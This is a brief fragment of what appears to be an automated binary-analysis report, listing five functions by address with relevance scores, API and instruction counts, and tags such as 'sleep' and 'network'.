Function 008769F0 Relevance: 9.1, APIs: 6, Instructions: 89
sleepCOMMON

Function 00861220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41
COMMON

Function 00876AF3 Relevance: 6.0, APIs: 4, Instructions: 30
sleepCOMMON

Function 008647B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63
stringnetworkCOMMON

Function 008751F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50
COMMON